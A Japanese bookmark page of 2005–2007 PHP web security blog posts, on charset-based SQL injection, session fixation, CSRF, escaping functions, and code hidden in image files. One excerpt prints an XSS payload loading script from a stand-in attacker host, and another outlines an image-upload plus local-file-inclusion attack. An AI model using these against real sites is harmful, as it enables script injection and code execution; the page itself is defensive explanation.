タグ

ブックマーク / blog.ohgaki.net (42)

  • SET NAMESは禁止

    (Last Updated On: 2018年8月13日)MySQLには文字エンコーディングを変更する「SET NAMES」SQL文が用意されています。(PostgreSQLも同様のSQL文、SET CLIENT_ENCODINGがあります)この機能はSQLコンソールからは使ってよい機能ですが、アプリケーションからは使ってはならない機能です。SQLインジェクションに脆弱になる場合があります。 Ruby on Railsを読んでいて、ActiveRecordを説明している部分にMySQLの文字エンコーディングを変更する場合の例としてSET NAMESが利用されていました。アプリケーションからはSET NAMESは使ってはならない事を周知させるのは結構時間が必要かなと思いました。 PHPも5.2の途中からMySQLモジュールにlibmysqlの文字エンコーディング設定APIのラッパー関数が

    SET NAMESは禁止
    hiro_y
    hiro_y 2007/08/22
    文字エンコーディングを利用したSQLインジェクションに脆弱になる可能性が。
  • yohgaki's blog - 画像ファイルにJavaScriptを隠す

    (Last Updated On: 2014年12月5日)前回のエントリでイメージファイルにスクリプトを埋め込んで攻撃する方法について記載しましたが、最近イメージファイルにスクリプトを埋め込む事例が話題になったためか ha.ckersにJavaScriptをイメージファイルに隠す方法が紹介されています。 http://ha.ckers.org/blog/20070623/hiding-js-in-valid-images/ <script src="http://cracked.example.com/cracked.gif"> などとXSS攻撃を拡張する手段に利用可能です。サンプルとしてFlickerにJavaScriptを埋め込んだイメージファイルがアップされています。 このイメージファイルは上手く細工しているので画像としても表示され、JavaScriptも実行できます。 Flicke

    yohgaki's blog - 画像ファイルにJavaScriptを隠す
    hiro_y
    hiro_y 2007/06/24
    GIFファイルにJavaScriptを埋め込める件。要確認。
  • 画像ファイルに PHP コードを埋め込む攻撃は既知の問題

    (Last Updated On: 2015年9月10日)国内外のメディアで「画像ファイルに攻撃用のPHPコードが含まれていた」と比較的大きく取り上げられています。しかし、この攻撃手法は古くから知られていた方法です。条件は多少厳しくなりますがPerl, Ruby, Pythonでも同様の攻撃は考えられます。PHPの場合は言語仕様的に他の言語に比べ攻撃が容易です。 典型的な攻撃のシナリオは次の通りです。 追記:Tokenizerを使った例に修正しました。 アバダなどの画像ファイルをアップロードできるサイトを探す ローカルファイルインクルードバグを探す 画像ファイルにサイトが利用している言語のコードを埋め込む 攻撃コードを含んだファイルを画像ファイルとしてアップロードする ローカルファイルインクルードバグを利用して攻撃コードを実行する PHPの場合、リモートインクルードバグを攻撃するための攻撃

    画像ファイルに PHP コードを埋め込む攻撃は既知の問題
    hiro_y
    hiro_y 2007/06/24
    画像ファイルにPHPを埋め込む件、ローカルファイルインクルードバグとの組み合わせ。
  • PHP 5.2.3リリース

    (Last Updated On: 2018年8月13日)日語環境でMySQLを利用している方には、リリースノートに記載されているmysql_set_charset()の追加に重要な意味がある方も多いと思います。 Added mysql_set_charset() to allow runtime altering of connection encoding. PHP4にはまだ追加されていませんがかなり重要なセキュリティフィックスだと思います。mysql_set_charset()はlibmysqlmysql_set_character_set()の簡単なラッパー関数です。 http://dev.mysql.com/doc/refman/4.1/en/mysql-real-escape-string.html “If you need to change the character

    PHP 5.2.3リリース
    hiro_y
    hiro_y 2007/06/09
    「SET NAMESだと文字エンコーディングを利用したSQLインジェクションに脆弱となる可能性があります。」
  • PostgreSQL 8.2 Beta

    (Last Updated On: 2018年8月14日)PostgreSQL 8.2のリリースノートは非常に長いのですがアプリケーションプログラマのコーディングスタイルに大きく影響するのは次の変更(追加)だと思います。 Add INSERT/UPDATE/DELETE RETURNING (Jonah Harris, Tom) This allows these commands to return values, such as the computed serial key for a new row. In the UPDATE case, values from the updated version of the row are returned. MySQL等で挿入後のID番号が取得できる機能がPostgreSQLでも作れるようになりました。 create table tes

    PostgreSQL 8.2 Beta
    hiro_y
    hiro_y 2006/12/06
    PostgreSQL 8.2からinsert文でreturning句が使用可能に。
  • ログイン後にsession_regenerate_id()を実行するだけで十分か?

    (Last Updated On: 2018年8月18日)忙し過ぎてタイムリーにブログが書けないです。最近セッション管理の問題が一部で話題になっていました。そこの中に以下のような議論がありました。 ログイン後にsession_regenerate_id()を実行すれば外部からのセッションIDを受け入れても安全 確かにログイン後のセッションIDは来セッションIDが持つべき属性 一意な値であること 第三者に予測不可能であること を持っています。 しかし、ログイン後にセッションIDを再生成するだけでは不十分な場合は2つ直ぐに思いつきます。 – CSRF(XSRF)防御にセッションID(だけ)を利用している場合 – 外部に出力したデータの改ざん防止にセッションID(だけ)を利用している場合 これらの仕組みはログイン後にのみ利用する機能ではありません。フォーム送信は認証無しで行うことは多いです。ウ

    ログイン後にsession_regenerate_id()を実行するだけで十分か?
    hiro_y
    hiro_y 2006/10/28
    セッションIDを再生成しただけでは安全性が確保できない場合も。
  • PEAR DBのPostgreSQLドライバにセキュリティホール

    (Last Updated On: 2006年9月12日)この脆弱性は家にはレポートしてあるのですが簡単な1行パッチなのにまだCVSにさえ適用されていません。詳しく解説したつもりなのですがシングルバイト圏の開発者には理解が難しい(?)か私の説明が悪かった(?)のかも知れません。とりあえず「作業中」との旨のメールが帰って来ていますが遅すぎなので特に影響が大きいと思われる日のサイト向けとして問題の概要と対処方法を書いておきます。 文字エンコーディングを利用したSQLインジェクションに詳しい方ならどのような条件でSQLインジェクションが可能になるか簡単に分かります。addslashesやstr_replaceによるエスケープが危険であることは広く知られている既知の問題といえると思います。英語で記述されたブログ等にもエンコーディングとエスケープの問題を取り扱ってるページもあります。あまり長期間

    PEAR DBのPostgreSQLドライバにセキュリティホール
    hiro_y
    hiro_y 2006/09/11
    PEAR::DBのエスケープ不備、PostgreSQL。
  • プログラム等、内部の文字エンコーディングは決めておくべき

    (Last Updated On: 2006年6月22日)あるMLでプログラム内部の文字エンコーディングは決めない事にしている、と言う意見を目にしました。プログラムを利用するシステムにより複数の文字エンコーディングがあるのでプログラム内部の文字エンコーディングを指定しない方が便利であることが理由だそうです。このような方針でも安全なプログラムは書けますが、セキュリティ上お勧めできない設計方針と思います。 2000年2月に公開されたCERTのXSS脆弱性問題の中でダイナミックページの文字エンコーディングは必ず指定する、と言う対策が書かれていますが、これと同様の理由でセキュリティ上の問題になってしまう場合があります。XSS問題としては文字エンコーディングを指定しない場合、ブラウザが文字エンコーディングを自動的に検出して表示する事になります。ブラウザが文字エンコーディングを自動検出すると、検出した

    プログラム等、内部の文字エンコーディングは決めておくべき
    hiro_y
    hiro_y 2006/06/22
    内部エンコーディングをきちんと設定する。
  • yohgaki's blog - これからのプログラムの作り方 - 文字エンコーディング検証は必須

    (Last Updated On: 2016年3月3日)最近PostgreSQLMySQL両方にSJISエンコーディングを利用している際のエスケープ方法の問題を修正がリリースされています。この件は単純に「データベースシステムにセキュリティ上の脆弱性があった」と言う問題ではなく「アプリケーションの作り方を変える必要性」を提起した問題です。 参考:セキュアなアプリケーションのアーキテクチャ – sandbox化 PostgreSQLMySQLの脆弱性は特にSJIS等、マルチバイト文字に\が含まれる文字エンコーディングが大きな影響を受けますが、同類の不正な文字エンコーディングを利用した攻撃方法が他の文字エンコーディングでも可能です。例えば、UTF-8エンコーディングは1文字を構成するバイト列の最初のバイトの何ビット目までが1であるか、を取得してUTF-8文字として1バイト~6バイト必要なのか

    yohgaki's blog - これからのプログラムの作り方 - 文字エンコーディング検証は必須
    hiro_y
    hiro_y 2006/06/12
    検証が必要、UTF-8に注意。
  • 遅ればせながらXAMPPをインストールしてみた

    (Last Updated On: 2018年8月13日)随分前からXAMPP(ザンプ、と読むらしい。間違っていたら教えてください。)は知っていたのですが使ったことがありませんでした。基的な開発環境はLinux、ターゲットもLinuxなので特に必要性が無かったからです。最近は時間や場所の都合からもWindows環境でもある程度の開発環境を維持する必要があったため、XAMPPを入れてみました。インストールするにあたってApache, PHP, MySQLは最初にアンインストールしておきました。 XAMPPはApache、MySQLPHP(最後のPは何? PEARがインストールされるのPEARのP?、PerlもあるのでPerl? ドイツ語WikipediaによるとPerlのPらしい)をまとめてセットアップする仕組みです。パッケージを集めて簡単に使えるようしているLinuxのディストリビュ

    遅ればせながらXAMPPをインストールしてみた
    hiro_y
    hiro_y 2006/05/31
    XAMPPのインストール方法。
  • まちがった自動ログイン処理

    (Last Updated On: 2018年8月20日)問題:まちがった自動ログイン処理の解答です。このブログエントリは最近作られたアプリケーションでは「問題」にしたような実装は行われていないはず、と期待していたのですがあっさり期待を破られたのでブログに書きました。このブログの方が詳しく書いていますけが「Webアプリセキュリティ対策入門」にも正しい自動ログイン処理を書いています。 参考:自動ログイン以外に2要素認証も重要です。「今すぐできる、Webサイトへの2要素認証導入」こちらもどうぞ。HMACを利用した安全なAPIキーの送受信も参考にどうぞ。 間違った自動ログイン処理の問題点 まず間違った自動ログイン処理を実装しているコードの基的な問題点を一つ一つ順番にリストアップします。 クッキーにランダム文字列以外の値を設定している クッキーにユーザ名が保存されている クッキーにパスワードが保

    まちがった自動ログイン処理
    hiro_y
    hiro_y 2006/05/12
    自動ログインでcookieを利用する場合の配慮。
  • PHPの$_POST, $_GET, $_COOKIEの要素に配列を使用する

    (Last Updated On: 2018年8月13日)PHP 5.1.4が素早くリリースされた原因の一つが「$_POST配列の要素が配列の場合、要素の値が壊れる問題」です。 この「$_POST、$_GET、$_COOKIE配列の要素に配列を使う機能」はよく知られていない機能の一つと言っても良いかも知れません。オンラインマニュアルにも解説がなかったような気がします。説明を簡単にする為に$_GETの例を紹介します。 値を配列を送信するには変数名に[]を付け加えて送信するだけでOKです。 http://example.com/test.php?a[]=1&a[]=2 array(1) { [“a”]=> array(2) { [0]=> string(1) “1” [1]=> string(1) “2” } } 連想配列を送信するには[]の中に要素名を指定するだけです。 http://exa

    PHPの$_POST, $_GET, $_COOKIEの要素に配列を使用する
    hiro_y
    hiro_y 2006/05/08
    $_POSTとか$_GETに配列を使う場合について。
  • クロスドメインのHTML読み取り(IEのバグ CSSXSS)とCSRF

    (Last Updated On: 2014年12月5日)追記:このブログを記載する理由となったURLを記載された方が内容を削除されたようです。「間違っている」と言われるのは心外である、と思ったことは確かですがページの内容が削除されるのは私の意ではありません。書かれていた情報はとても役に立つ情報だと思います。非常に残念なので再度掲載されることを望みます。(当 —– セキュリティ対策ではよくあることですが、条件の見落としによりセキュリティ対策を行っていても脆弱性が発生することがあります。「Webアプリセキュリティ対策入門」に書かれているCSRF対策にも「クロスドメインのHTML読み取り(IEのバグ)」の問題が修正されていない為、書籍に記載した対策を行ってもバグを持つIEに対してはCSRFに脆弱になります。 しかし、このバグの影響を持って「Webアプリセキュリティ対策入門」のCSRF対策を

    クロスドメインのHTML読み取り(IEのバグ CSSXSS)とCSRF
    hiro_y
    hiro_y 2006/04/03
    IEのCSSXSSバグの対策方法について。
  • htmlspecialchars/htmlentitiesの正しい使い方

    (Last Updated On: 2018年8月16日)追記:このエントリは古い情報です。今のHTMLエスケープの情報は以下の新しいエントリを参照してください。 PHPHTMLエスケープ PHP_SELFはそのまま出力できないに htmspecialchars($str, ENT_QUOTES); じゃなくて、 htmspecialchars($str); で終わらせてしまった場合の、 問題例が非常に欲しいです!! とコメントを頂きました。 htmlspecialcharsとhtmlenties関数はENT_QUOTESを指定しないとENT_COMPAT(セキュリティ上問題があるが互換性を維持)が指定された状態と同じ動作をします。 ENT_QUOTESは”と’の両方をHTMLエンティティに変換するオプションです。ENT_COMPATは”のみHTMLエンティティに変換します。 JavaS

    htmlspecialchars/htmlentitiesの正しい使い方
    hiro_y
    hiro_y 2006/03/27
    エスケープに使用される関数について。
  • yohgaki&#39;s blog - addslashesによるエスケープ処理は止めましょう

    (Last Updated On: 2018年8月13日)追記:PHPエスケープ関連の検索でこのエントリを参照されたと思います。PHPでのエスケープ全般については以下のエントリを参照してください。 PHP文字列のエスケープ セキュリティmemoにaddslashesよるエスケープ処理でSQLインジェクションが可能なるという記事を見つけました。 私のセミナーを聞いたことがある方は「addslashesによるエスケープ処理は止めましょう」と言っていた事を覚えているでしょうか? mysql_real_escape_string()やpg_escape_string()等のデータベース専用のエスケープ関数を使いましょう、とも話しています。 ちなみにSQLiteを使っている場合はaddslashesでエスケープ処理はNGです。もっと根的に間違っています。SQLiteではMS SQL Server,

    yohgaki&#39;s blog - addslashesによるエスケープ処理は止めましょう
    hiro_y
    hiro_y 2006/02/13
    各DB用のエスケープ関数を使うこと。addslashesはダメ。
  • PHPのSession Fixation問題

    (Last Updated On: 2006年10月24日)PHPのセッション管理はセッションの固定化(Session Fixation)に脆弱であることは広く知れらていると思っていました。先日、php-users(ja)のMLに「Hardened PHPプロジェクトのStefanさんのパッチにSQLite Sessionモジュール用のセッションセーブハンドラパッチを追加したパッチを公開しました」と投稿しました。しかし、ダウンロード数等から推測するとセッションの固定化のリスクが正しく認識されていないのではないかと思えます。 セッション固定化のリスクを分かりやすく説明するには具体的な攻撃のシナリオを紹介した方がわかり易いのでいくつか説明します。以下の説明はデフォルト状態のPHPインストールでSession Fixation対策を行っていないのPHPアプリケーションに対して可能な攻撃の一例です

    PHPのSession Fixation問題
    hiro_y
    hiro_y 2006/02/06
    PHPのセッション管理がセッションの固定化に対する脆弱性を抱えている問題。
  • ユーザ定義エラーハンドラの拡張パッチ

    (Last Updated On: 2018年8月13日)最近のPHPはE_ERROR(未定義の関数呼び出しなどで発生)をユーザ定義エラーハンドラで処理できません。これはE_ERRORが発生した場合、必ずeixtを呼び出しスクリプトの実行を停止しないと誤作動する問題に対処した為です。 随分前(PHP 4.3がリリースされた頃)からこんな感じでパッチを書けばよいです、と紹介はしていたのですがWikiに書きました。よろしければご利用ください。ユーザ定義エラーハンドラに問題(E_ERRORが発生する等)が無ければE_ERRORでexitすれば問題は発生しないはずです。万が一、関数名をタイポしていてもエラーページを表示しwebmasterに通知する処理などをエラーハンドラに定義できるので有用です。

    ユーザ定義エラーハンドラの拡張パッチ
    hiro_y
    hiro_y 2005/12/26
    ユーザ定義のエラーハンドラはE_ERRORを処理できない。
  • Strict Session管理パッチ

    (Last Updated On: 2018年8月13日)Hardedned PHPプロジェクトのStefan EsserさんがPHP SESSIONをより安全に運用するパッチを公開しています。 このパッチはPHPのセッション管理の問題に対応します。PHPSESSIONモジュールがSession Fixation(セッションIDの固定化)に対して脆弱であることは随分前から広く(?)知られていました。このパッチを適用すればSession Fixation問題も随分改善します。 例えば、PHP SESSIONを利用しているサイトで http://example.jp/index.php と言うURLがクッキーを利用したセッション管理行っているとします。セッションデータが初期化されサーバに保存されているか、されていないかに関わらず、ブラウザが送信したクッキーによって指定されたセッションIDがそ

    Strict Session管理パッチ
    hiro_y
    hiro_y 2005/12/24
    PHPでのセッション管理について。
  • セキュリティ対策:3つの基本

    (Last Updated On: 2005年12月22日)プログラミング言語によらずセキュリティ対策には3つの基があると思います。 1.外部からの入力は信用せず、形式、範囲が想定内か確認する 2.外部システムへ出力を行う場合は適切なエスケープ処理を行う 3.セキュリティ上の問題が発生しても被害を最小限に留める措置を行う 1.の外部からの入力は信用しない、にはユーザからの入力だけでなく他のサブシステムの入力も信用してはならないです。例えばqmailのコマンド郡は同じ作者が作っているにも関わらずお互いに信用していません。 2.の適切にエスケープ処理を行う、はシステムに合った最適なエスケープ処理を行う事が必要です。例えば、システム上のコマンドを実行する場合やSQL文を実行する場合、適切なエスケープ処理は処理系によって異なる場合があります。 3.はfail safe機能は使えるものは使う、とい

    セキュリティ対策:3つの基本
    hiro_y
    hiro_y 2005/12/19
    fail safe重要。open_basedir、allow_url_fopenの設定、エラーハンドラ。
  • PHP 5.1.1がリリースされました

    (Last Updated On: 2018年8月13日)標準でDateクラスはまずいでしょう、と思っていたのですがやはりクレームが沢山ありました。Dateクラス問題解消のために5.1.1がリリースされた、と言っても良いと思います。safe_modeがデフォルトOnになったにも関わらずcURLのsafe_mode時の動作がまずい、HTTPダイジェスト認証の動作が異なる、という問題も速いアップデート版リリースの一因です。 備考1:標準でDateクラスが定義されるようになった、と言うことは自前でDateクラスを持つコードは5.1では動作しない事を意味します。 備考2:普通はDIGEST認証は使いません。クライアント任せの部分があり互換性に問題があるからです。とは言ってもイントラネットなどでクライアント決め打ちでDIGEST認証を使っている環境では動作の違いは致命的です。 追記: getenvで

    PHP 5.1.1がリリースされました
    hiro_y
    hiro_y 2005/11/29
    もう5.1.1リリース。なかなか落ち着かないな。